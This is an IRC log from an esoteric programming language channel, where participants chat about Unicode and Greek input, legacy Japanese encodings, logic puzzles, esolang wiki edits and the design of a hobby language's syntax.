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02:24:56  I am here.
02:25:00 -!- kline has joined.
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02:25:41  (I have seen things... things I just choose not to talk about... Things that seem to offend everybody... Welcome to my study ♪)
02:28:18  time to compose the application of my head on my pillow.
02:28:42  bonne nuitopia!
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02:57:10  over 3k points on codeeval \o/
02:57:34  all from bash \o/
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03:08:15  WalText2i is working :)
03:08:23  My next step is to increase the eso- factor
03:09:22  Is there something akin to complex numbers for angles I can use to represent the (start, end) points for arcs and something for the radii of arcs and ellarcs?
03:10:24  \oren\: Would you happen to know of anything?
03:11:28  complex numbers
03:12:45  izabera: But those don't seem good for representing the start and end points for angles.
03:12:47  Or arcs
03:12:51  Arcs, not angles
03:13:12  you can write them in polar form
03:13:49  i don't know how to type greek letters
03:13:58  |z| (cos(phi)+ i sin(phi)
03:14:00  |z| (cos(phi)+ i sin(phi))
03:14:27  i can't believe that i can type đ but not phi
03:14:34  stupid keyboard
03:17:50  Hm...
03:41:35  That gives me an idea
03:41:44  I could map the extra key in the top left of my laptop to dead_greek
03:53:55  izabera: φ Φ
03:53:58  I can type it now!
03:54:46  λαμβδα
03:54:54  καππα
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03:57:43  i mapped rwin to compose, guess right ctrl can become dead_greek
04:03:37  https://github.com/dscharrer/void/tree/master/xkb  oh you can add your own sequences
04:03:39  cool
04:16:53 <\oren\> UGGH
04:17:22  uggh?
04:17:22 <\oren\> I was trying to type something in greek then I somehow lost it
04:17:38  type it again?
04:17:55  get an editor that can undo your changes?
04:19:04 <\oren\> ηελλο
04:19:08 <\oren\> there
04:19:31 <\oren\> I can type greek letters by typing their names in japanese
04:19:41  so handy
04:21:16 <\oren\> i-ta epushiron ramuda ramuda omikuron
04:22:33  isn't it ramubuda ?
04:22:47 <\oren\> no, ramuda λ
04:23:46  sorry i forgot about the lamda calculus
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04:26:06 <\oren\> arufa be-ta ganma deruta epushiron ze-ta e-ta te-ta iota kappa ramuda myu- nyu- kushi- omikuron pai ro- shiguma tau yupushiron fai ki- pushi- omega
04:28:23  i'm confused
04:29:01 <\oren\> about what?
04:29:27  kushi- pushi-
04:29:43 <\oren\> ξ　ψ
04:29:51  sounds so weird
04:29:52 <\oren\> xi and psi
04:31:21 <\oren\> Ψ
04:31:46 <\oren\> θΘ
04:32:04  i also find confusing pai and fai but that's italian's fault
04:33:05 <\oren\> kushi- can also be gotten with kusai
04:34:17 <\oren\> however, kusai means "smelly" in japanese 臭い
04:36:34  myu- and nyu- -> mi ni ?
04:37:13 <\oren\> μν -> in english, mu and nu
04:37:31  isn't it mee nee ?
04:37:41  in english
04:37:43 <\oren\> no, mu pronounced myu
04:37:52 <\oren\> and nu pronounces nyu
04:37:59  i had no idea
04:40:21 <\oren\> hmm can i type a qoppa?
04:41:20 <\oren\> apparently not. makes sense, qoppa isn't in Shift-JIS
04:42:23 <\oren\> Я
04:42:25 <\oren\> ya-
04:42:31 <\oren\> w00t
04:42:50 <\oren\> I remembered that Shift-JIS has cyrillic
04:43:02 <\oren\> Д
04:45:48  Why, exactly, does it have Cyrillic?
04:46:21  Aside from "why not", which might be the case...
04:47:22 <\oren\> pikhq_: argh, I donn't know. both greek and cyrillic are treated as categories of kanji (they are double-byte characters)
04:47:55 <\oren\> japanese fixed width fonts like MS Gothic have them as wide
04:49:20  Though not much tends to rely on that, thankfully.
04:50:12  (Shift-JIS art relies on the metrics, but Shift-JIS art uses MS PGothic, not MS Gothic.)
04:51:36 <\oren\> hmm, i don't seem to be able to type е
04:53:31  pikhq_: many DBCS tends to have many other characters besides from the original script. for example, KS X 1001 has kanas, greeks, cyrillics and extended latins.
04:53:39  many DBCSes tend to*
04:54:06  Seems silly, but eh.
04:54:19  Not like they had better uses for the space.
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04:54:46 <\oren\> well eventually they started filling in the spare space with emoji
04:55:09  when you have tons of space (94 by 94) you can give some room for other scripts
04:55:25  Emoji weren't really in any DBCS used in more than one system though.
04:55:25  also, many DBCSes have a concept of PUA
04:55:40  yeah, Emojis were originally encoded as PUA
04:55:51  (each cell network had their own mapping in the DBCS or Unicode PUAs)
04:55:53  (and escape codes and HTMLs, they were actually implementation details)
04:57:43  And then they go in Unicode because seriously, characters that don't go in Unicode is nonsense.
04:59:52  We needed universal standard platform-independent emoji.
05:00:08  Yes, this was in fact a pressing need for the Japanese market.
05:37:27 * Sgeo_ would prefer to have emoji than things that interpret emoticons
05:37:34  Although, emoticons are easier to type.
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06:10:28 <\oren\> oДo ＜ｶﾞｱｱｱｱｱｱｱｱﾝ
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07:41:50  I'm considering adding Roulettes and similar things (think Spirographs) to WalText2i
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09:15:47  [wiki] [[Amycus]]  http://esolangs.org/w/index.php?diff=45535&oldid=45531 * B jonas * (+1247) 
09:16:11  [wiki] [[Amycus]]  http://esolangs.org/w/index.php?diff=45536&oldid=45535 * B jonas * (-6) /* TODO earlier notes */
09:45:39  [wiki] [[Special:Log/newusers]] create  * Bas *  New user account
09:46:41  @messages-
09:46:41  boily said 8h 3m 24s ago: HAH!
09:46:41  boily said 8h 2m 34s ago: (uhm. disregard the previous HAH. I'm still having trouble with your family name not being Johansen.)
09:46:48  @ask boily WAT?
09:46:48  Consider it noted.
09:48:35  @tell boily i think you're still confused, at any rate.
09:48:35  Consider it noted.
09:49:05  @tell boily it _is_ johansen hth
09:49:05  Consider it noted.
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10:22:08  I wonder how much David deliberately chose to define Amycus to be so interesting, and how much is an accident.
10:22:38  fungot, how much of the esolang do you think was deliberate?
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10:30:43  [wiki] [[Binerdy]] N http://esolangs.org/w/index.php?oldid=45537 * Bas * (+2160) Created page with "'''Binerdy''' was created by [[user:Bas]] to reminiscence the old days, when computers only understood zeroes and ones  ==Language overview==  A Binerdy program only knows of ..."
10:36:46  new puzzle in the tatham collection...
10:39:40  which one is the new one?
10:45:07  palisade
10:48:38  hm it's not immediately obvious how to deduce much from this...
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10:51:07 * oerjan revelation
10:52:54  yay solved one
10:53:03  darn
10:53:21 * oerjan has 2 regions so far
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10:54:54 * oerjan sees the solution but stubbornly wants to prove it unique
10:55:24  there.
10:55:38  once more with feeling
10:57:01  argh it's hard not to accidentally apply the intuitions from playing too much Loopy :P
10:59:14  second done
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11:01:00  third
11:03:23 * oerjan ups the size
11:04:37  oh wait it's 6 per region now
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11:30:55  [wiki] [[Amycus]]  http://esolangs.org/w/index.php?diff=45538&oldid=45536 * Oerjan * (+57) /* Definition */ expand list expression
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11:36:51 * int-e stops after having solved http://www.chiark.greenend.org.uk/~sgtatham/puzzles/js/palisade.html#10x8n8:f1c1b11a12221a2a22222g103a22b0a2a3b1d2a3a2e32a2
11:37:16  (I think I've seen this before somewhere, hmm)
11:37:35  the help text says it's a nikoli puzzle
11:41:45  hmm, maybe, but I only know the nikoli puzzles that they offer on their free website
11:42:27  there are several other puzzles that vaguely resemble this, though.
11:42:41  there's some similarity between palisade and slitherlink (loopy ... ah, you've realized that already. of course.)
11:43:17  also Filling
11:43:31  well not that similar
11:43:38  but confusing
11:44:43  and rect and range, to fill out those with "numbers in rectangular grid"
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11:50:55  oh and I've encountered the name before... www.marksteeregames.com/Palisade_rules.pdf
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12:03:40  [wiki] [[Binerdy]]  http://esolangs.org/w/index.php?diff=45539&oldid=45537 * Bas * (+358) 
12:04:59  [wiki] [[Binerdy]]  http://esolangs.org/w/index.php?diff=45540&oldid=45539 * Bas * (+0) 
12:05:36  [wiki] [[Binerdy]]  http://esolangs.org/w/index.php?diff=45541&oldid=45540 * Bas * (+0) 
12:17:46  [wiki] [[Binerdy]]  http://esolangs.org/w/index.php?diff=45542&oldid=45541 * Bas * (+53) /* Instructions */
12:17:47  @massages-loud
12:17:47  oerjan asked 2h 30m 58s ago: WAT?
12:17:47  oerjan said 2h 29m 12s ago: i think you're still confused, at any rate.
12:17:47  oerjan said 2h 28m 41s ago: it _is_ johansen hth
12:17:59  hellørjan. the confusion runs deep.
12:19:14  ic
12:19:28  afternoily
12:20:09  @metar CYUL
12:20:10  CYUL 191200Z CCA 14018KT 30SM SCT045 BKN065 OVC230 11/07 A3007 RMK SC3SC4CI1 SLP183
12:20:15  @metar ENVA
12:20:15  ENVA 191150Z 10003KT 9999 FEW009 SCT018 M01/M03 Q0997 NOSIG RMK WIND 670FT 15004KT
12:20:24  not so bad ^^
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12:24:32  *ACHOO*
12:24:55  i got a new winter coat yesterday, otherwise it _would_ be bad
12:25:35  silly hit-and-run boily
12:30:33  well
12:30:36  i did it
12:30:45  UberGenes is functional!
12:31:06  and i again stayed up all night
12:31:07  oops
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12:43:24  [wiki] [[Binerdy]]  http://esolangs.org/w/index.php?diff=45543&oldid=45542 * Bas * (+166) /* Instructions */
12:44:00  @metar lowi
12:44:00  LOWI 191220Z VRB02KT 9999 SCT120 BKN300 11/M00 Q1020 NOSIG
12:44:33  [wiki] [[Binerdy]]  http://esolangs.org/w/index.php?diff=45544&oldid=45543 * Bas * (+1) /* Cat */
12:49:40  [wiki] [[Binerdy]]  http://esolangs.org/w/index.php?diff=45545&oldid=45544 * Bas * (-4) /* Instructions */
12:54:01  [wiki] [[Binerdy]]  http://esolangs.org/w/index.php?diff=45546&oldid=45545 * Bas * (+55) /* Instructions */
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12:56:23  [wiki] [[Binerdy]]  http://esolangs.org/w/index.php?diff=45547&oldid=45546 * Bas * (+14) /* Cat */
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13:12:15  i'm late, but haskell's \& thing has always struck me as sort of silly
13:13:46  it'd be cool to have, say, "{escaped}" instead of "\escaped"
13:14:10  like "this string{n}has a newline in it" looks much more readable to me. but oh no, C doesn't do that!!
13:16:35  I personally disagree
13:16:42  also compare "{SOH}{SO}H" vs "\SOH\SO\&H", or "{123}{x45}6" vs "\123\x45\&6"
13:17:24  to put {} in strings... you could have {{ and }}, i think?
13:19:15  Taneb: how much of that do you think is up to the fact that you're used to "\n"?
13:20:10  mauris: likely, all of it
13:20:25  Well
13:20:33  Also, I'm a lot more likely to want to print { and } than \
13:21:43  you're just not programming enough /// hth
13:22:39  yeah, \ sort of lacks meaning outside of programming. maybe "dos/windows file path separator"
13:23:58  although, i don't think i put {} in strings all *that* often either. usually () and [] suffice. it would suck for quick code generation scripts though :(
13:25:03  like, print("int main() {{ ... }}") is a bit weird. also printing JSON by hand. these are things you "shouldn't do" but in the real world obviously people do 'em
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13:45:21  fnard
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14:05:39  so the halting problem is not NP-complete because it is not in NP?
14:13:44  yes
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15:17:32  [wiki] [[Semantic Brain]] M http://esolangs.org/w/index.php?diff=45548&oldid=45507 * SilverWingedSeraph * (+280) Bring up to date with 64d2433
15:30:01  mroman: Yes, it is merely NP-hard. A problem is NPC iff it is both NP and NP-hard.
15:44:22  oh!
15:44:33  ok... now I understand what he was saying
15:45:19  David says that I defined Amycus wrong, namely rule 6
15:45:27  his version is actually much easier to program
15:45:29  this explains a lot
15:45:57  so it's not David who has made a crazy esoteric language actually, but me by making a mistake in the rule.
15:46:03  damn
15:47:41  :)
15:47:45  his rule 6 is designed so that the language is easy to program, because now he can use <5, <6>: r> for the S rule, rather than having to mess with all the complications
15:47:57  what do I do now?
15:48:40  I'll probably have to document these as separate languages
15:48:44  Making yet another Amicus derivative.
15:48:59  yes... except it's not really a derivative
15:49:03  :)
15:49:05  rules 3, 5, 6 are essential
15:49:14  you can't program without _any_ one of them
15:49:34  so if rule 6 is different, then more than half of what I say about the language changes.
15:49:44  I'll have to give it a distinct name
15:53:28  Amycus Distinctus?
15:54:21  Amycus Beionus
15:55:31  the evil solution would be to call it Amicus
15:56:00  but I would screw that up more than everyone else
15:57:32  in fact, it should be backwards
15:57:42  David's language should be Amycus, and my mangled one Amicus
16:03:52  . o O ( Amicus is a common misspelling of Amycus )
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16:27:23  except when it's not
16:27:40  Amicus is a common misspelling of Amycus, except when it's not.
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16:47:22  [wiki] [[BitShift]] N http://esolangs.org/w/index.php?oldid=45549 * Bas * (+1980) Created page with "'''BitShift''' was created by [[user:Bas]] to reminisce the old days, when computers only understood zeroes and ones.  ==Language overview==  A BitShift program only knows of ..."
16:49:33  Huh, I'm surprised there wasn't a language named that already
16:57:45  [wiki] [[User:Bas]] N http://esolangs.org/w/index.php?oldid=45550 * Bas * (+22) Created page with "I created [[BitShift]]"
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17:39:22  when you sign up for the austing group mailing list, you have to pick a salutation among Dr Eng Miss Mr Mrs Ms Prof
17:39:39  they're all very specific
17:41:43  i mean, it's 2015, come on
17:42:13  wtf they want my phone number as well
17:43:05 -!- Phantom_Hoover has joined.
17:43:57  "so we can call you in case you forget your password"
17:44:25  :| thanks that's very nice of you
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17:48:54  Hi
17:50:12 -!- Vinegar has joined.
17:50:25  `welcome irctc267
17:50:26  irctc267: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on EFnet or DALnet.)
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18:15:33  What happens if I generalize trochoids to ellipses instead of circles?
18:15:45  I suppose they become much harder to draw programmatically
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18:20:22  [wiki] [[Amycus]]  http://esolangs.org/w/index.php?diff=45551&oldid=45538 * B jonas * (+421) 
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18:32:28  Websites and such asking for titles always weird me out..
18:32:42  WHAT IS YOUR TITLE
18:32:47  I'd rather they didn't use any title at all
18:33:12  Solution: get a doctorate
18:35:27  Hmm is "Prof" legally protected in any way?
18:38:11  . o O ( we could all be professors at the esoteric language institute, the internet 101, worldwide )
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19:15:56  a friend of mine showed me the input that codeeval used in their brainfuck challenge
19:16:19  they're 10 trivial programs, one per line  http://sprunge.us/XYPj
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19:18:39  also they're assholes because they didn't specify that you need to write to the right side of the tape
19:18:52  err left
19:18:54  whatever
19:19:17  In general I think the codeeval tasks seem to be pretty poorly specified
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19:52:38  I'm trying to add Parabolic arcs to WT2i
19:52:47  But they're coming out weird
19:53:02  They stretch up to the top of the screen and are solid black
19:53:11  Which doesn't seem like it should be happenning
19:54:38  Wait, found the problem. I think.
20:02:21  Should I add Sine and Cosine waves to WT2i?
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20:07:07  I think I'll generalize WalText2i to a more PDFy thing
20:10:12  Maybe
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20:18:26  [wiki] [[UberGenes]] N http://esolangs.org/w/index.php?oldid=45552 * Quintopia * (+3751) Created page with "{{infobox proglang |name=UberGenes |paradigms=imperative |author=[[User:Quintopia]] |year=[[:Category:2015|2015]] |class=[[:Category:Turing complete|Turing complete]] |refimpl..."
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23:04:26  [wiki] [[Brainfuck implementations]]  http://esolangs.org/w/index.php?diff=45553&oldid=44605 * 77.103.217.201 * (+103) adding bfc
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23:43:49  I had an idea for Kastor
23:44:12  The "." operator: Accepts two integers, returns a float. Yep. I went there.
23:44:12  havent we all at some point?
23:44:29  quintopia: No. Kastor is a language I'm making.
23:44:54  oh. must have confused it with Pollucks
23:46:01  Ah.
23:46:41  quintopia: In case you're curious, it's a programming language designed for actual, serious usage that draws on my knowledge of Eso.
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23:48:04  It has weird syntax elements like "specials"- a value followed by a name- that you can define to feed that value to a certain class. For example, with a few lines of code you can make "5i" a meaningful token.
23:48:45  (Preferably, you make it meaningful by feeding it as the second argument of the "complex([real[, imag]])" class so it makes fucking sense)
23:49:19  Useful for code obfuscation? Perhaps. Totally amazing and something I want any programming language I use in the future to have? YES.
23:55:04  hmm
23:58:54  So what does the '.' operator do anyway?
23:58:57  quintopia: Yes?
23:59:25  FireFly: In the context of two integers, it essentially joins them into a float with the whole part being the lhs and the decimal part the rhs
23:59:35  In other contexts, it may do something different
23:59:37  oh
23:59:43  But maybe not. It might just be for that.
23:59:45  That's... a bit cute

2015-11-20:

00:00:06  FireFly: It is. I think it's clever and awesome, but it's probably just stupid.
00:00:30  I mean, the efficiency is probably going to be atrocious. Then again, Kastor isn't a particularly quick language in the first place.
00:01:38  You know, in SQL, an "OUTER SELECT" would make perfect sense.
00:01:57  FireFly: The only problem I can think of with that syntax, though, is if you want to write a float in hex for some reason: You think it should be 0xABC.123, but it'd actually have to be 0xABC.0x123 and there's no way to fix it without making floats just a builtin, which everytime I think about becomes a better and better idea but I'm probably not going to do anyway.
00:02:23  hppavilion[1]: so 1.01 would be interpreted as 1.1, aye?
00:03:12  tswett: ...
00:03:16  Fuckfuckfuckfuckfuck
00:03:21  Roll with it.
00:03:24  No.
00:03:40  It's designed to still be usable, despite drawing on Eso.
00:03:41  Okay.
00:04:22  Ooh, here's an idea.
00:04:32  In addition to the . operator, there's a .0 operator, a .00 operator, and so on.
00:04:40  So that would be: 1 .0 1
00:05:00  How to do an OUTER SELECT: Add a NULL row to each table. Take the cartesian product of all those tables. Filter by the WHERE conditions, treating each one involving a NULL as satisfied. Project as desired. Take only the maximum tuples.
00:05:03  Sump'm like that.
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00:11:19  tswett: But that doesn't fit the operator syntax xD. But no, I'm just sticking with float.
00:11:53  Here's another idea.
00:12:01  Reverse the digits of the rhs part.
00:12:17  The expression 120 . 240 represents 120.042.
00:13:39  tswett: No. This language is meant to actually be usable.
00:13:47  Roger.
00:13:56  Like, python-usable if speed isn't a big issue.
00:14:08  If I ever finish Tokiber, I'll create an Esolang page for it.
00:14:33  Usability will be a major goal, but *usefulness*, not so much.
00:17:07  I'm currently working on how integer tokens work
00:18:00  Basically, 0b[binary number], 0q[quaternary number], 0o[octal number], and 0x[hex number] are builtin, along with 0n[decimal base]_[arbitrary-base number].
00:18:43  You can define how arbitrary-base numeric alphabets behave; by default they support 0-9a-zA-Z as digits, so you can't yet do base64 constants.
00:19:44  All numbers support underscores wherever you like (except leading (that's a variable) and trailing (a special). That does not work).
00:21:25  Also, you can define your own encodings that just feed a class constructor or a function a string; e.g. 0rn_VII could be programmed to return 0q13 (7)
00:22:03  (0rn_VII works because any numeric or letter-like character can go after a 0[type]_)
00:34:30  OK, finished the BNF
00:36:58  Things I would not recommend: having a moustache
00:40:35  How so?
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00:41:20  It itches
00:41:23  It itches so much
00:41:32  nah
00:41:39  its fine
00:41:43  to tame it
00:41:50  with wax
00:42:11  quintopia: it's not long enough yet
00:44:28 -!- boily has joined.
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00:45:48   Fuckfuckfuckfuckfuck <-- design is hard.
00:46:01  oerjan: Yes. It is.
00:47:43  hppavellon[1]! tell me all.
00:48:11  bohily
00:50:06  hellørjan!
00:51:19 <\oren\> ヘロルヤン
00:52:43  \helloren\. I believe ヘレリャン is closer hth
00:53:34  i believe you're evil for making me use google translate hth
00:54:27 <\oren\> ゲハハハハハハ
00:56:47  オホホホホホホ
00:57:53  i knew that was a bad idea.
00:58:01  ondskapsfulle beist
01:00:02  boily: I'm making a programming language called Kastor. It draws on Eso, but is made for general usage.
01:00:09  Vaguely like perl.
01:00:14  perl is eso.
01:00:47  It is most definitely eso.
01:01:21  boily: I'm currently working on how integers work; I took the _ syntax from Perl and am allowing custom 0c prefix codes
01:03:15 -!- mauris has quit (Ping timeout: 272 seconds).
01:07:45  It is a weird experience listening to a video from ICFP and there being a familiar voice asking a question at the end
01:09:28  Although, I guess, not that weird
01:09:39  I'd imagine it'd be pretty weird if I heard my own voice there
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02:17:54 -!- boily has set topic: The ウフフ channel. | /ɛ̃ˈglɪʃ spɛˈliŋ ʀɘfɔʀm/ | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | https://esolangs.org/.
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02:53:01  I've just integrated my first Unicode character into Kastor :)
02:53:05  Well, two
02:53:46  Specifically, ⧼ and ⧽ to denote arrays/vectors
02:53:55  what is kastor?
03:10:38  pizzarama
03:11:21 <\oren\> `unidecode ⧼⧽
03:11:22  ​[U+29FC LEFT-POINTING CURVED ANGLE BRACKET] [U+29FD RIGHT-POINTING CURVED ANGLE BRACKET]
03:11:35 <\oren\> I don't have those
03:11:44 <\oren\> need to add them
03:11:47  shocking
03:12:13 <\oren\> yeah, i'm shocked, I thought I had all the damn operators already
03:17:15  OK, I changed the symbols because I was using the wrong ones xD
03:18:27  I'm now using  ⟨⟩ instead of ⧼⧽ (the former ones were curved and looked a bit nicer, but I prefer the chevrons because they're more typical)
03:18:50  \oren\: It's from misc operators, as it turns out
03:19:15  izabera: Programming language I'm making based on the principal that languages should be usable, but combined with all the teachings of Esobuddha.
03:22:31  Huh. Indian programmers often refer to {"{", "}"} as "Flower Brackets"
03:22:44  (Notice that I used set notation there solely because it's more confusing)
03:39:58  Does unicode lack the logical xnor?
03:40:44  This? https://reference.wolfram.com/language/ref/character/Xnor.html
03:41:07 <\oren\> AGH, that block (misc math sybols B) is full of annoying crap!
03:41:51  Dammit, there isn't one in the entire fucking formal logic
03:42:30  zgrep: Thank you! There we go!
03:42:55  Google helps, you know, rather than digging through a table of unicode values...
03:44:10  Dammit, fonts don't support it
03:44:14  Not many, at least
03:44:40 <\oren\> tell me the code point and I'll add it if I can draw it
03:45:44  \oren\: F4A2
03:46:05  I might have to embed your font into my IDE for Kastor, \oren\ xD
03:46:40  Wouldn't that be cool?
03:46:58 <\oren\> thsat's a private use character point.
03:47:19 <\oren\> e.g. not an official unicode character
03:47:27  Oh
03:47:29  Shit.
03:47:37  That's a problem.
03:47:44 <\oren\> so even GNU unifont won't have it
03:48:46  I need a surrogate symbol to represent logical xor... It has to look good among 
03:48:46  ∧∨⊻⊼⊽
03:49:08  My problem is that even formal logicians don't have a symbol for some reason xD
03:49:35 <\oren\> xor is the same as not equal, so xnor would be =
03:50:31  \oren\: Except the ∧∨⊻⊼⊽ symbols are type-insensitive, being the "logical" versions of the operator: ''==0 evaluates to false, but ''0 evaluates to true.
03:51:09 <\oren\> you could use some other variant of = 
03:51:13  I could
03:51:35 <\oren\> ≖≗≘≙≚≛≜≝≞≟ any of these look good
03:52:08  Perhaps ≚?
03:52:12  Oh, you found that one xD
03:52:28 <\oren\> and those are all in my font!
03:52:32  Wait, no
03:52:37  I want the other one
03:52:54  Wait, I didn't send the message those last two posts were referring to xD
03:53:51  ≙ makes the most sense, as it's "="+"∧", so it's logical. Only problem is people might confuse it for an assignment operator, but oh well
03:54:23 <\oren\> I prefer an arrow for assignemtn
03:54:47 <\oren\> a ← 4
03:54:56  Wait, no
03:55:13  ≚ is or. So I'll use that.
03:58:00  \oren\: Maybe I'll use that.
03:58:55  does anyone know how to check if a process has a fd that points to a given file?
03:59:01  how does lsof do it?
03:59:29  all i can think of is to readlink every file in /proc/pid/fd
03:59:50  \oren\: Kastor currently has planned 12 different types of builtin collection xD
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04:04:31  \oren\: You must know a lot of unicode characters from fontsmithing. Is there a good type of bracket I could use for bags?
04:07:05 <\oren\> ⦃⦄
04:07:16 <\oren\> `unidecode ⦃⦄
04:07:17  ​[U+2983 LEFT WHITE CURLY BRACKET] [U+2984 RIGHT WHITE CURLY BRACKET]
04:08:04  \oren\: I just was thinking that when I openned hexchat to see that suggestion. That was awesome.
04:13:18  13 possible collections. Wow.
04:13:34  Oh, ordered bag
04:13:53 <\oren\> that would just be a sorted array dudu
04:13:59 <\oren\> s/dudu/dude/
04:16:15  \oren\: That's one way of representing it, but not the only way
04:16:30  And thus I'm including it
04:16:43  However, no bagdicts or anything.
04:20:17  Because that doesn't make any sense, and more importantly, it looks almost like "big dicks" and no just no.
04:33:03  [wiki] [[Combinatory logic/Analysis of combinators]]  http://esolangs.org/w/index.php?diff=45554&oldid=45461 * Hppavilion1 * (+421) Some stuff, I hope
04:33:10  Yay!
04:42:01 <\oren\> hppavilion[1]: well in that case the correct character is ⇫
04:42:53 <\oren\> or maybe Ⰴ or Ⰲ
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04:46:41  \oren\: ?
04:46:58  My font won't render any of those characters, so I don't know what you're talking about
04:47:43  It won't render in neoletteres either
04:48:08  ...
04:48:14  I think I'm going to keep IRC on neoletters
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05:04:17  Is a multiset a bag?
05:06:07  Wait, I just remembered I might not want to use x ← 5 as assignment unless there's a good-looking augmented assignment syntax for ← assignment. Do you have anything, \oren\?
05:14:12  hppavilion[1]: afaik
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06:37:13  [wiki] [[Semantic Brain]]  http://esolangs.org/w/index.php?diff=45555&oldid=45548 * Zerk * (-46) Fixed an infinite loop in cumulative adder code.
06:42:25  re. today's girl genius: i bet 10 zorkmids that's othar
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07:04:46  hppavilion[1]: what's wrong with just using circled plus for xor?
07:04:47  oerjan: afayk what? I was afk.
07:04:59  b_jonas: No, not xor, xnor
07:05:05  oh that
07:05:12  for that, triple horizontal line
07:05:23  hppavilion[1]: afa what you said 2 lines before hth
07:05:24  b_jonas: That's "is defined as"
07:05:37  Ah
07:06:21  oh hm
07:06:27  <=>
07:06:43  oerjan: What are you trying to help me with? xD
07:07:35  i changed the subject hth
07:07:39  the xnor
07:07:59  ⇔
07:08:16  as a boolean proposition operator
07:09:14  I still say triple horizontal line. Isn't that what Knuth uses these days? 
07:09:44  or maybe just ↮ without the slash
07:10:17  hppavilion[1]: https://en.wikipedia.org/wiki/Logical_biconditional has several options
07:10:41  oerjan: I believe I settled on ≚
07:10:52  I'll check out that page
07:11:28  of course you settled on something my client cannot display
07:11:42  well it couldn't display the last i suggested either
07:14:40  oerjan: It's the equal sign with an "or" sign above it; neoletters supports it.
07:15:36  OKAY
07:16:34  The PROBLEM with that is that it's confusing as it looks like an assignment operator
07:17:00  Should I implement ⚢⚣⚤⚥⚦⚧⚨⚩ as operators, allow them to be included in names, or do something else with them? (xD)
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07:22:53  Same goes for ♂♀, ☿♁♃♄♅♆♇, ♈♉♊♋♌♍♎♏♐♑♒♓, ♔♕♖♗♘♙/♚♛♜♝♞♟, ♠♡♢♣♤♥♦♧, and ⚭⚮⚯
07:25:22  And why not ⚊ ⚋ / ⚌ ⚍ ⚎ ⚏ / ☰ ☱ ☲ ☳ ☴ ☵ ☶ ☷
07:33:52  Should I use the 
07:33:52  ⊻⊼⊽ for logical operations XOR, NAND, and NOR, or should I switch to the arrow notation?
07:34:07  I think I'll stick with these and reserve arrows for othere purposes
07:41:43  hmm....
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08:28:43  [wiki] [[Aubergine]]  http://esolangs.org/w/index.php?diff=45556&oldid=45455 * Quintopia * (+77) /* Examples */
08:32:46  [wiki] [[Cellular automaton]]  http://esolangs.org/w/index.php?diff=45557&oldid=30870 * 202.99.113.80 * (+11) /* Relation to esoteric programming */
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08:42:13  [wiki] [[Purple]] N http://esolangs.org/w/index.php?oldid=45558 * Quintopia * (+3993) Created page with "{{infobox proglang |name=Purple |paradigms=imperative |author=[[User:Quintopia]] |year=[[:Category:2015|2015]] |class=[[:Category:Turing complete|Turing complete]] |refimpl=Se..."
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08:46:14  [wiki] [[BitShift]]  http://esolangs.org/w/index.php?diff=45559&oldid=45549 * Bas * (-5) 
08:49:35  [wiki] [[Purple]]  http://esolangs.org/w/index.php?diff=45560&oldid=45558 * Quintopia * (-8) bleh
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09:40:25  [wiki] [[Aubergine]]  http://esolangs.org/w/index.php?diff=45561&oldid=45556 * Quintopia * (+5) /* Examples */
09:40:40  [wiki] [[Aubergine]]  http://esolangs.org/w/index.php?diff=45562&oldid=45561 * Quintopia * (+0) /* ]Hello, world! */
09:41:52  [wiki] [[Aubergine]]  http://esolangs.org/w/index.php?diff=45563&oldid=45562 * Quintopia * (+4) /* Examples */
09:44:58  [wiki] [[Purple]]  http://esolangs.org/w/index.php?diff=45564&oldid=45560 * Quintopia * (+9) /* Examples */
09:47:02 -!- mroman has joined.
09:47:05  fnard
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10:12:47  [wiki] [[Hello world program in esoteric languages]]  http://esolangs.org/w/index.php?diff=45565&oldid=45232 * Quintopia * (+224) 
10:13:31  [wiki] [[Hello world program in esoteric languages]] M http://esolangs.org/w/index.php?diff=45566&oldid=45565 * Quintopia * (+3) /* Aubergine */
10:16:56  [wiki] [[Language list]]  http://esolangs.org/w/index.php?diff=45567&oldid=45464 * Quintopia * (+13) /* P */
10:17:50  [wiki] [[Language list]]  http://esolangs.org/w/index.php?diff=45568&oldid=45567 * Quintopia * (+16) /* U */
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10:33:55  [wiki] [[User:Quintopia]]  http://esolangs.org/w/index.php?diff=45569&oldid=42578 * Quintopia * (+214) 
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10:35:19  well I just answered a haskell question on stackexchange
10:35:24  let the hatred begin :)
10:41:15  http://codepad.org/xZCenjhm <- but technically that's how you could implement "inheritance" of some sorts
10:47:59  [wiki] [[Purple]]  http://esolangs.org/w/index.php?diff=45570&oldid=45564 * Quintopia * (+7) /* Python 2 */
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11:55:16  @massages-loud
11:55:16  You don't have any messages
11:55:51  int-e: int-ello. is it possible to specialcase lambdabot for loud massages please?
11:57:04  @sausages
11:57:05  Unknown command, try @list
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12:51:11  I wonder how many people are bilingual in two sign languages
12:59:07  Taneb: bilingual to at least what level of knowledge?
12:59:25  At least conversational
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14:49:12  What's the best data structure in Haskell for writing interpreters on a sequence of instructions where you need to do forwards and backwards jumps?
14:49:25  Map? HashTable? Array?
14:49:50  and you can't parse it neatly like Brainfuck data BF = Loop [BF] | Increment 
14:49:56  oh no, someone's going to mention lens aren't they
14:50:11  Well, Taneb is online so
14:50:15  What
14:50:16  there's the chance of that happening, yes.
14:50:16  I am
14:50:36  Huh
14:50:41  mroman: I'd use vector
14:51:41  Or a skiplist, maybe???
14:52:18  Just precompute the target address for each jump hth
14:53:32  skiplists in haskell?
14:53:37  does that even work?
14:54:25  Wait wait!
14:54:32  Oh derp.
14:54:43  Was scrolled up.
14:55:00  well I guess I can't precompute every jump anyway
14:56:40  @tell hppavilion[1] Wait wait for bags you must use ⟅⟆ as brackets. {LEFT,RIGHT} S-SHAPED BAG DELIMITER
14:56:41  Consider it noted.
14:58:34  that unicode character name is irrefutable
15:02:16  More importantly those look awesomely bag-like.
15:03:29  💰💰💰
15:04:22  Pretty much, yeah.
15:04:38  ⟅$⟆
15:05:02  Combining bag characters
15:05:02  I wonder if I can do indentation based thingies in parsec
15:05:08  should be possible
15:05:17  Hmm, delimiters as combining characters
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15:05:37  surely you just need a COMBINING BOTTOM OF BAG to place below the $?
15:06:16  mroman: I think it’s troublesome. There’s been a paper about indentation sensitive parsing, but I don’t remember if there’s a lib based on it.
15:07:32  ⟅$̲⟆
15:11:37  You can, of course, implement any computable grammar next to parsec.
15:13:44  idea: what about a language where combining characters are operators
15:14:11  The zalgo programming language
15:15:02  (Gives a new meaning to code density...)
